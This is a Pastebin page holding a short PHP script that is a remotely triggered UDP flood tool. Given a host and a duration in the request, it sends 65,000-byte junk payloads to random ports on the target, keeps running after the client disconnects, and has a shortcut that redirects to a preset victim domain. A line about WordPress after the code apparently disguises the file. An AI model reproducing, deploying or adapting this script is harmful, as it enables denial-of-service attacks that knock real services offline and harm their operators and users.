Guest User

Untitled

a guest
May 26th, 2018
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.83 KB | None | 0 0
  1. <?php
  2.  
  3.   if($_GET['do'] == "llama") {
  4.     echo '<meta http-equiv="REFRESH" content="0;url=?host=llamastein.com&time=5&port=80"></HEAD>';
  5.    
  6.     }
  7.      
  8.  
  9. if(isset($_GET['host'])&&isset($_GET['time'])){
  10.  
  11.  
  12.  
  13.     $packets = 0;
  14.    
  15.  
  16.     ignore_user_abort(TRUE);
  17.    
  18.  
  19.     $exec_time = $_GET['time'];
  20.  
  21.     $time = time();
  22.    
  23.  
  24.     $max_time = $time+$exec_time;
  25.  
  26.  
  27.     $host = $_GET['host'];  
  28.  
  29.  
  30.     for($i=0;$i<65000;$i++){    $out .= 'X';    }
  31.     while(1){
  32.    
  33.  
  34.        if(time() > $max_time){  break;     }
  35.        
  36.           $rand = rand(1,65000);            
  37.  
  38.  
  39.             $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  40.        
  41.  
  42.  
  43.        if($fp){
  44.             $packets++;
  45.             fwrite($fp, $out);
  46.  
  47.  
  48.             fclose($fp);            }
  49.          }
  50.  
  51.          }
  52.  
  53. ?>
  54. WordPress is a powerful, yet gentle content management system used by many Host.
Add Comment
Please, Sign In to add comment